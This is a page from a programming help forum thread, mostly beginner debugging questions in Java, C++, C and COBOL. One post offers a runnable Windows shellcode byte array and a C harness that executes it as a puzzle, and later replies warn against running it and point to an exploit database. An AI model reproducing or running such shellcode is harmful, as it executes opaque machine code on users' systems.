• Log InLog In
  • Register
Liquid`
Team Liquid Liquipedia
EDT 09:19
CEST 15:19
KST 22:19
  • Home
  • Forum
  • Calendar
  • Streams
  • Liquipedia
  • Features
  • Store
  • EPT
  • TL+
  • StarCraft 2
  • Brood War
  • Smash
  • Heroes
  • Counter-Strike
  • Overwatch
  • Liquibet
  • Fantasy StarCraft
  • TLPD
  • StarCraft 2
  • Brood War
  • Blogs
Forum Sidebar
Events/Features
News
Featured News
ByuL, and the Limitations of Standard Play0Team Liquid Map Contest #22: Results and Winners7Code S Season 2 (2026): RO4 and Finals Preview12TL.net Map Contest #22 - Voting & Ladder Map Selection7Code S Season 2 (2026) - RO8 Preview8
Community News
[TLMC] Summer 2026 Ladder Map Rotation05.0.16 patch for SC2 goes live (8 worker start)53ZeroSpace at Steam NextFest - Last free demo26Weekly Cups (June 8-14): Clem and Solar double, PTR tested0RSL: S6 Finals played at BlizzCon 202611
StarCraft 2
General
HackErIsTop take on Patch 5.0.16 5.0.16 patch for SC2 goes live (8 worker start) Possible bug in the new patch? ByuL, and the Limitations of Standard Play Daily SC2 Player Grid - feedback wanted
Tourneys
INu's Battles#17 <BO.9> RSL Revival: Season 6 - Qualifiers and Main Event Sparkling Tuna Cup - Weekly Open Tournament GSL CK #4 20-21th June Douyu Cup 2026: $20,000 Legends Event (June 26-28)
Strategy
[G] Having the right mentality to improve
Custom Maps
New Map Maker - Looking for Advice - Love or Hate Work In Progress Melee Maps [D]RTS in all its shapes and glory <3
External Content
The PondCast: SC2 News & Results Mutation # 531 Experimental Artillery Mutation # 530 One For All Mutation # 529 Opportunities Unleashed
Brood War
General
ASL 22 Proposed Map Pool [BSL22] Non-Korean Championship from 13 to 28 June BSL Season 22 BW General Discussion STARCRAFT MOVIE - Last Night at the Command center
Tourneys
[BSL22] GosuLeague Casts - Tue & Thu 22:00 CEST [Megathread] Daily Proleagues CSLAN 4 is Coming! Small VOD Thread 2.0
Strategy
Why doesn't anyone use restoration? Simple Questions, Simple Answers Relatively freeroll strategies Creating a full chart of Zerg builds
Other Games
General Games
Stormgate/Frost Giant Megathread Games for Kids Nintendo Switch Thread ZeroSpace at Steam NextFest - Last free demo The Perfect Game
Dota 2
Looking for a Dota Mentor Official 'what is Dota anymore' discussion
League of Legends
Heroes of the Storm
Simple Questions, Simple Answers Heroes of the Storm 2.0
Hearthstone
Deck construction bug
TL Mafia
Vanilla Mini Mafia
Community
General
Canadian Politics Mega-thread US Politics Mega-thread Things Aren’t Peaceful in Palestine Russo-Ukrainian War Thread [H]Internet/Gaming Cafe Tips and Tricks
Fan Clubs
The HerO Fan Club! The herO Fan Club!
Media & Entertainment
Movie Discussion! Series you have seen recently... [Req][Books] Good Fantasy/SciFi books [TV/BOOK] *SPOILERS* Game of Thrones Discussion
Sports
2024 - 2026 Football Thread TeamLiquid Health and Fitness Initiative For 2023 McBoner: A hockey love story Formula 1 Discussion Cricket [SPORT]
World Cup 2022
Tech Support
Computer Build, Upgrade & Buying Resource Thread Facing Challenges in Mobile App Development
TL Community
The Automated Ban List
Blogs
How To Predict Tilt in Espor…
TrAiDoS
An Exploration of th…
waywardstrategy
I'm an arrogant trash talke…
FlaShFTW
Gauntlet SC2: A Retrospectiv…
Ctone23
Why RTS gamers make better f…
gosubay
Customize Sidebar...

Website Feedback

Closed Threads



Active: 7590 users

The Big Programming Thread - Page 79

Forum Index > General Forum
Post a Reply
Prev 1 77 78 79 80 81 1032 Next
Thread Rules
1. This is not a "do my homework for me" thread. If you have specific questions, ask, but don't post an assignment or homework problem and expect an exact solution.
2. No recruiting for your cockamamie projects (you won't replace facebook with 3 dudes you found on the internet and $20)
3. If you can't articulate why a language is bad, don't start slinging shit about it. Just remember that nothing is worse than making CSS IE6 compatible.
4. Use [code] tags to format code blocks.
OpAndroid
Profile Joined July 2010
United States84 Posts
Last Edited: 2011-09-17 22:10:00
September 17 2011 21:54 GMT
#1561
Could a mod delete this, was having an issue but finally had a breakthrough and got it working.
eFonSG
Profile Joined November 2010
United States255 Posts
September 18 2011 00:33 GMT
#1562
On September 18 2011 01:40 EscPlan9 wrote:
Show nested quote +
On September 17 2011 13:44 eFonSG wrote:
On September 17 2011 12:52 tofucake wrote:
On September 17 2011 12:30 eFonSG wrote:
Hey i was wondering if anyone with a decent amount of knowledge in Java could help me with some code? Im pretty confused right now, and ive been staring at my screen for a few hours hoping i would miraculously figure it out. I really only need some help getting started in the right direction, because im just lost from the start.

Elaborate? I know the OP says not to post and ask what's wrong, but you can post and say "I tried X, Y, and Z and I still don't know what's going on. Can anyone help?" That's actually the attitude I'd love to see going on.

On September 14 2011 08:14 Clank wrote:
On September 13 2011 13:26 catamorphist wrote:
On September 13 2011 10:59 Clank wrote:
ok, im in high school and looking for some good extracurriculars for colleges. I have limited knowledge in programming, as I've only taken 2 classes, one intro to basic at school, and then an intro to python. I did very well in those classes and enjoyed them , but still, im quite nooby. Basically what im wondering is, do you think it would be possible for me to try and learn how to make a very basic app for the app store? And if that would be too challenging, do you have any suggestions to try and incorporate programming into a fun, good extracurricular?


No, you could do it in a couple weeks worth of evenings. Go do it!


ok, thank you! any tips for getting starting?

Just Do It™. That's my approach.


Can do, Im trying to make a program that will ask for a user input for a full name, then re-arrange the order and capitalization to match the exercise ( and it forces me to use nextLine() rather than next()). For example
import java.util.Scanner;
public class ThreeNames{
public static void main(String[]args){
Scanner A = new Scanner (System.in);
System.out.print("Please enter your name: ");
String Name = A.nextLine();

The user would type in a full name, such as firstname middlename lastname, i need to then rearrange it so that it shows the initials(F.M.L), and then re-arrange it so that its Lastname, firstname M.
Ive been trying to use substring() to break apart the the string Name into just the first letters so that i can capitalize them

String B = (Name.substring(0,1)).toUpperCase());

This would give me the very fist letter of the first name so that i could capitalize it. My problem is that i dont know how to get the first letters of the middlename and lastname, so i can capitalize them and put them in proper format. I was under the assumption that substring() can only have ints as its argument and not whitespace characters, which was my first guess. But that failed pretty miserably. So im not really sure how to break up the string Name because i cant predict how long the name will be, and therefore cannot have an actual int value for the substring. Maybe im looking at it wrong, but any help would be greatly appreciated.




I remember doing a similar exercise back in my first java class. I believe I did it just with a mixture of Substring and IndexOf methods. Split would be easier though. Check javadocs String class for the Substring and IndexOf method documentation if you decide to go that route. Use the IndexOf method taking a string and integer as parameters (so you can specify not only the " " whitespace string, but also the position to start the search from so you can substring out the names you need).


Thanks, got it working now, appreciate the help!
Spartan
Profile Blog Joined July 2005
United States2030 Posts
September 20 2011 04:41 GMT
#1563
On September 18 2011 01:21 Shootist wrote:
Out of curiosity, what domain are most of the programmers/developers here in? Web, mobile, enterprise systems, etc?

I run a little web agency where I also do the web development work (HTML5/PHP/MySQL).

By day I'm a Web Developer for Trion Worlds (our first game was the MMORPG called Rift); by night I'm a Web Engineer (design & development) for Vile Gaming and Riiot, both of which I founded.
# http://nkspartan.com (web engineer)
# TL member since July 2005; CEO of Vile Gaming; President of Team Vile
CatalysT.
Profile Joined January 2011
59 Posts
September 21 2011 04:19 GMT
#1564
can anyone help me out on this problem? I am trying to sort by selection an array inputed by the user in ascending order. thanks
+ Show Spoiler +
1 #include <iostream>
2
3 using namespace std;
4
5 void selectionSort(string [], int);
6
7 int main()
8 {
9 const int size = 4;
10 string array[size];
11
12 for(int i = 0; i <= size; i++)
13 {
14 string input;
15 cout << "enter 5 fruits: " << input << endl;
16 cin >> input;
17 array[i] = input;
18 }
19
20 selectionSort(array, 4);
21
22 for(int i = 0; i <= size; i++)
23 cout << array[i] << endl;
24 }
25
26 void selectionSort(string array[], int size)
27 {
28 int startScan;
29 string minIndex;
30 string minValue;
31
32 for (startScan = 0; startScan < (size - 1); startScan++)
33 {
34 minIndex = startScan;
35 minValue = array[startScan];
36
37 for(int index = startScan + 1; index < size; index++)
38 {
39 if (array[index] < minValue)
40 {
41 minValue = array[index];
42 minIndex = index;
43 }
44 }
45 array[minIndex] = array[startScan];
46 array[startScan] = minValue;
47 }
48 }
!g++ prog2test.cpp && a.out
prog2test.cpp: In function `void selectionSort(std::string*, int)':
prog2test.cpp:45: error: no match for 'operator[]' in 'array[minIndex]'
Flash
EvanED
Profile Joined October 2009
United States111 Posts
September 21 2011 04:25 GMT
#1565
Look closer at your definition of minIndex.
CatalysT.
Profile Joined January 2011
59 Posts
Last Edited: 2011-09-21 04:27:52
September 21 2011 04:25 GMT
#1566
I figured out my problem but now im getting a segmentation error where it says

enter 5 fruits:
grape
enter 5 fruits:
apple
enter 5 fruits:
orange
enter 5 fruits:
peach
enter 5 fruits:
pear
Segmentation Fault (core dumped)

the problem works if i use the size of array as 5 but i get the segmentation error with int size = 4
Flash
EvanED
Profile Joined October 2009
United States111 Posts
Last Edited: 2011-09-21 04:33:33
September 21 2011 04:32 GMT
#1567
You're writing out of bounds of array.

(In C and C++, segfaults usually mean one of two things: out of bounds in an array, or null pointer dereference.)
Azzur
Profile Blog Joined July 2010
Australia6267 Posts
September 21 2011 04:34 GMT
#1568
On September 21 2011 13:25 CatalysT. wrote:
I figured out my problem but now im getting a segmentation error where it says

enter 5 fruits:
grape
enter 5 fruits:
apple
enter 5 fruits:
orange
enter 5 fruits:
peach
enter 5 fruits:
pear
Segmentation Fault (core dumped)

the problem works if i use the size of array as 5 but i get the segmentation error with int size = 4

I don't use C++ but I don't understand why you're using an array of size 4 when you want 5 fruits...

Also, your for-loop should be like this:
for(int i = 0; i < size; i++)
haduken
Profile Blog Joined April 2003
Australia8267 Posts
Last Edited: 2011-09-21 10:49:58
September 21 2011 05:49 GMT
#1569
nvm, i was retarded.
Rillanon.au
tofucake
Profile Blog Joined October 2009
Hyrule19222 Posts
September 21 2011 06:02 GMT
#1570
You declare the size, not the end index.
Liquipediaasante sana squash banana
elimzkE
Profile Joined May 2011
Australia92 Posts
September 21 2011 06:34 GMT
#1571
without being rude: You declare the number of elements the array can contain.
"First there was eLim. Then there was skill."
Abductedonut
Profile Blog Joined December 2010
United States324 Posts
September 21 2011 06:36 GMT
#1572
Here's something interesting for some of you programmers out there! Can you figure out what the line inside of main() does?

+ Show Spoiler +

unsigned char shellcode[]=
"\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
"\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
"\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
"\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
"\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
"\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
"\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
"\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
"\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
"\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
"\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
"\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE"
"\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"
"\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24"
"\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51"
"\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE"
"\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45"
"\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54"
"\x24\x20\x57\xFF\xD0";

int main()
{
((void (*)())shellcode)();
}


Note that if you want to actually compile and run the program it must be done in C on windows.
Sporadic44
Profile Blog Joined January 2011
United States533 Posts
September 21 2011 07:22 GMT
#1573
Hey all, newcomer to programming here. I have a small problem with my COBOL assignment and I have no idea how to fix it. If anyone has some knowledge with the language any sort of insight on this would be really helpful.

I have to make a very simple program. The purpose is to take both name and age as input. Then I have to add 1 to the age, and then display both the name and age+1 as output. Here's what I have written to do this.

+ Show Spoiler +

@OPTIONS MAIN
* Program: AddAYear
* Programmer: Stephen Spor
* Description: Excercise: Program designed to take the user's name and age as input.
* Then output displayed is the name and how old the user will be next year.
* Status: Working/Running.

Identification Division.
Program-Id. AddAYear
Environment Division.
Data Division.
Working-Storage Section.
01 Name PIC X(10).
01 Age PIC 9(2).
01 Age1 PIC Z(2).
01 Name1 PIC X(10).
Procedure Division.

DISPLAY "Hello, please input your name?(10 digit field):" WITH NO ADVANCING
ACCEPT Name
DISPLAY "How old are you?:" WITH NO ADVANCING
ACCEPT Age
ADD 1 TO Age
MOVE Name TO Name1
MOVE Age TO Age1
DISPLAY Name1
Display "One year from today, you will be " Age1
Stop Run.


I'm using fujitsu v3 to compile. The compiler hasnt caught any syntax errors. For the most part it runs like it should except one tiny thing.

When the input for name does not utilize all 10 characters assigned for it, I get a 0 in the output following the name field. So if I write 123456789, then space, the output will read 123456789 0.
WHERE THE FUCK IS THIS 0 COMING FROM.

Any help is appreciated. Thanks.
"Opportunities multiply as they are seized."
Deleted User 101379
Profile Blog Joined August 2010
4849 Posts
September 21 2011 07:37 GMT
#1574
On September 21 2011 15:36 Abductedonut wrote:
Here's something interesting for some of you programmers out there! Can you figure out what the line inside of main() does?

+ Show Spoiler +

unsigned char shellcode[]=
"\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
"\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
"\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
"\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
"\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
"\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
"\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
"\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
"\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
"\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
"\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
"\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE"
"\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"
"\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24"
"\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51"
"\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE"
"\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45"
"\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54"
"\x24\x20\x57\xFF\xD0";

int main()
{
((void (*)())shellcode)();
}


Note that if you want to actually compile and run the program it must be done in C on windows.


Basically, it executes the data in shellcode as a function.

This is also a method often used by virii, worms, trojans, etc. to inject code into other programs and execute their own code.

Don't run this. I'm too lazy to analyze the shellcode but it can't be anything good when it's not written in plain code.
Zocat
Profile Joined April 2010
Germany2229 Posts
September 21 2011 11:04 GMT
#1575
Just google it....
http://www.exploit-db.com/exploits/17323/
xoreyy
Profile Joined November 2010
23 Posts
September 21 2011 16:46 GMT
#1576
So I took APCS online in high school and did pretty well, got an A and a 4 on the AP exam which I thought was decent considering I had to teach the course to myself. I'm in my first semester of college now, taking CS110 because my college didn't accept AP 4's for credit. It's boring the hell out of me, because its APCS allllll over again. I'm genuinely interested in cs, and wanted to start moving forward on my own. However, I'm not really sure what to do or what direction to take next. Any of the experienced guys in here have any suggestions or pointers on how to progress on my own?

apcs and my cs class use java, if that's important

thanks for any advice!
catamorphist
Profile Joined May 2010
United States297 Posts
Last Edited: 2011-09-21 17:12:20
September 21 2011 17:04 GMT
#1577
On September 22 2011 01:46 xoreyy wrote:
So I took APCS online in high school and did pretty well, got an A and a 4 on the AP exam which I thought was decent considering I had to teach the course to myself. I'm in my first semester of college now, taking CS110 because my college didn't accept AP 4's for credit. It's boring the hell out of me, because its APCS allllll over again. I'm genuinely interested in cs, and wanted to start moving forward on my own. However, I'm not really sure what to do or what direction to take next. Any of the experienced guys in here have any suggestions or pointers on how to progress on my own?

apcs and my cs class use java, if that's important

thanks for any advice!


Best way to learn is by doing. Pick an open-source project that interests you and start working on it. Benefit over working on your own is that you'll learn more new things faster by collaborating with people who are more experienced than you. Other benefit is that it's a good resume item if you ever want to work as a programmer.

Second-best way to learn is by studying. Pick at random; everyone will tell you to study something different. I would recommend that you should probably work through SICP. It'll help you learn to think about how to structure programs. If you find that you are not sufficiently motivated to work through SICP then I can also suggest Jack Crenshaw's "Let's Build a Compiler" papers, which you can find scattered around online with Google. It might sound like a weird choice, but I don't know of a lot of other materials where you can follow a very simple, step-by-step explanation of how to design and build something non-trivial. I read it when I was a beginning programmer and found it really instructive.
http://us.battle.net/sc2/en/profile/281144/1/catamorphist/
doktorLucifer
Profile Blog Joined November 2008
United States855 Posts
September 21 2011 20:03 GMT
#1578
I thought we were not supposed to post code and ask "WHAT'S WRONG WITH MY CODE?" but I see some people doing it here, and I need a little help with some C.

The exercise says to use three numbers, but I made the mistake of writing it first for two. It's trivial to make it work for three, so I left it like that.

So I'm trying to learn how to write basic functions, and I'm not sure why after inputting two values, I don't get anything spit back out from my two print functions.

At first, my program was spitting two values back out, but one of would always be a TOTALLY different value. I'm mainly suspecting that I'm writing the control string for scanf incorrectly for this exercise, and it's doing something I'm not awares of?

+ Show Spoiler +


/*
ch4, ex34

Write a program that reads three integers and then prints them in
the order read and reversed. Use four functions; main, one to read
the data, one to print them in the order read, and one to print
them reversed.
*/

#include<stdio.h>

//function dec
void readData(int* x, int* y);
void printForward(int x, int y);
void printReverse(int x, int y);

int main(void)
{
//local var dec
int num1;
int num2;

//statements
readData(&num1, &num2);
printForward(num1, num2);
printReverse(num1, num2);

while(1); //this is just to make the console not run away, should I not be doing this?
return 0;
}

void readData(int* x, int* y)
{
printf("Give two numbers.\n");
scanf("%d %d ", &*x, &*y);

/*is the &* correct? I know that the formal parameters are usually dereferenced, and scanf usually needs an address operator. But since I'm passing an address in the first place, can I just use 'scanf("%d %d", x, y)' ? */

return;
}

void printForward(int x, int y)
{
printf("The numbers are: %d, %d\n", x, y);
return;
}

void printReverse(int x, int y)
{
printf("The numbers are: %d %d\n", y, x);
return;
}
Bigpet
Profile Joined July 2010
Germany533 Posts
Last Edited: 2011-09-21 20:31:30
September 21 2011 20:19 GMT
#1579
On September 22 2011 05:03 doktorLucifer wrote:
/*is the &* correct? I know that the formal parameters are usually dereferenced, and scanf usually needs an address operator. But since I'm passing an address in the first place, can I just use 'scanf("%d %d", x, y)' ? */

Yes &* is redundant unless the * operator is overloaded which it isn't here . (edit: looks like C code, so ignore the last part)

edit: OMG. Don't do the while(1);. Just use getchar() to halt the console until you press a button.

Also hurray for the formal signing of C++11 as an ISO standard. I'm hereby vowing that I will never again use memcpy() on any project where I'm allowed to use C++11. RValue references (move constructors specifically) and the new Array class (well not so new, it's been in TR1) will make memcpy finally obsolete for me. With the possible exception of having to use shitty APIs that make me do it.
I'm NOT the caster with a similar nick
SpoR
Profile Blog Joined November 2010
United States1542 Posts
September 21 2011 21:21 GMT
#1580
On September 21 2011 16:22 Sporadic44 wrote:
Hey all, newcomer to programming here. I have a small problem with my COBOL assignment and I have no idea how to fix it. If anyone has some knowledge with the language any sort of insight on this would be really helpful.

I have to make a very simple program. The purpose is to take both name and age as input. Then I have to add 1 to the age, and then display both the name and age+1 as output. Here's what I have written to do this.

+ Show Spoiler +

@OPTIONS MAIN
* Program: AddAYear
* Programmer: Stephen Spor
* Description: Excercise: Program designed to take the user's name and age as input.
* Then output displayed is the name and how old the user will be next year.
* Status: Working/Running.

Identification Division.
Program-Id. AddAYear
Environment Division.
Data Division.
Working-Storage Section.
01 Name PIC X(10).
01 Age PIC 9(2).
01 Age1 PIC Z(2).
01 Name1 PIC X(10).
Procedure Division.

DISPLAY "Hello, please input your name?(10 digit field):" WITH NO ADVANCING
ACCEPT Name
DISPLAY "How old are you?:" WITH NO ADVANCING
ACCEPT Age
ADD 1 TO Age
MOVE Name TO Name1
MOVE Age TO Age1
DISPLAY Name1
Display "One year from today, you will be " Age1
Stop Run.


I'm using fujitsu v3 to compile. The compiler hasnt caught any syntax errors. For the most part it runs like it should except one tiny thing.

When the input for name does not utilize all 10 characters assigned for it, I get a 0 in the output following the name field. So if I write 123456789, then space, the output will read 123456789 0.
WHERE THE FUCK IS THIS 0 COMING FROM.

Any help is appreciated. Thanks.


Your last name is spor, sick
A man is what he thinks about all day long.
Prev 1 77 78 79 80 81 1032 Next
Please log in or register to reply.
Live Events Refresh
Next event in 3h 41m
[ Submit Event ]
Live Streams
Refresh
StarCraft 2
Lowko581
LamboSC2 409
Ryung 107
Rex 95
SHIN 69
StarCraft: Brood War
Calm 8056
Jaedong 1222
Mini 922
EffOrt 665
Light 640
Soma 551
firebathero 486
Soulkey 342
Snow 238
actioN 178
[ Show more ]
Last 152
Rush 136
Zeus 117
ggaemo 90
Leta 83
[sc1f]eonzerg 60
JYJ 46
Hyun 45
ToSsGirL 41
JulyZerg 35
Sharp 30
Killer 29
scan(afreeca) 28
Aegong 18
Hm[arnc] 18
yabsab 15
Terrorterran 14
Shine 14
ajuk12(nOOB) 12
zelot 12
Icarus 6
Sacsri 6
Dota 2
Dendi709
420jenkins91
League of Legends
Reynor63
Counter-Strike
byalli423
kRYSTAL_44
Other Games
singsing2320
B2W.Neo1121
hiko732
DeMusliM321
crisheroes301
Sick212
Pyrionflax164
Mew2King78
QueenE41
MindelVK11
Organizations
Dota 2
PGL Dota 2 - Main Stream9970
StarCraft 2
IntoTheiNu 905
Blizzard YouTube
StarCraft: Brood War
BSLTrovo
[ Show 14 non-featured ]
StarCraft 2
• Berry_CruncH270
• StrangeGG 101
• AfreecaTV YouTube
• intothetv
• Kozan
• IndyKCrew
• LaughNgamezSOOP
• Migwel
• sooper7s
StarCraft: Brood War
• BSLYoutube
• STPLYoutube
• ZZZeroYoutube
League of Legends
• Jankos1900
• TFBlade603
Upcoming Events
OSC
3h 41m
MaxPax vs Percival
Solar vs ShoWTimE
Lambo vs Arrogfire
YoungYakov vs GgMaChine
Krystianer vs ArT
NightMare vs Iba
Douyu Cup 2020
15h 41m
Oliveira vs Trap
Jieshi vs XY
soO vs FanTaSy
TY vs Coffee
OSC
1d 2h
Douyu Cup 2020
1d 15h
Neeb vs Impact
MacSed vs Cyan
Scarlett vs Kelazhur
INnoVation vs Dear
Douyu Cup 2020
2 days
Maestros of the Game
2 days
herO vs Classic
Maru vs Serral
BSL22 NKC (BSL vs China)
3 days
Douyu Cup 2020
3 days
BSL22 NKC (BSL vs China)
4 days
Online Event
4 days
[ Show More ]
RSL Revival
4 days
RSL Revival
4 days
WardiTV Weekly
4 days
RSL Revival
6 days
The PondCast
6 days
Liquipedia Results

Completed

Proleague 2026-06-19
WardiTV Spring 2026
Heroes Pulsing #2

Ongoing

IPSL Spring 2026
Acropolis #4
CSCL: Masked Kings S4
YSL S3
BSL 22 Non-Korean Championship
CSL Season 21: Qualifier 1
SCTL 2026 Spring
Maestros of the Game 2
Murky Cup 2026
IEM Cologne Major 2026
Stake Ranked Episode 2
CS Asia Championships 2026
Asian Champions League 2026
IEM Atlanta 2026
PGL Astana 2026
BLAST Rivals Spring 2026
IEM Rio 2026
PGL Bucharest 2026

Upcoming

CSL Season 21: Qualifier 2
CSL 2026 Summer (S21)
CSLAN 4
Blizzard Classic Cup 2026
Kung Fu Cup 2026 Grand Finals
RSL Revival: Season 6
CranK Gathers Season 4: BW vs SC2 Team League
HSC XXIX
Douyu Cup 2026
BCC 2026
Light Tournament 2026
Eternal Conflict S2 Finale
Eternal Conflict S2 E1
Heroes Pulsing #3
BLAST Open Fall 2026
Esports World Cup 2026
BLAST Bounty Summer 2026
BLAST Bounty Summer Qual
Stake Ranked Episode 3
XSE Pro League 2026
TLPD

1. ByuN
2. TY
3. Dark
4. Solar
5. Stats
6. Nerchio
7. sOs
8. soO
9. INnoVation
10. Elazer
1. Rain
2. Flash
3. EffOrt
4. Last
5. Bisu
6. Soulkey
7. Mini
8. Sharp
Sidebar Settings...

Advertising | Privacy Policy | Terms Of Use | Contact Us

Original banner artwork: Jim Warren
The contents of this webpage are copyright © 2026 TLnet. All Rights Reserved.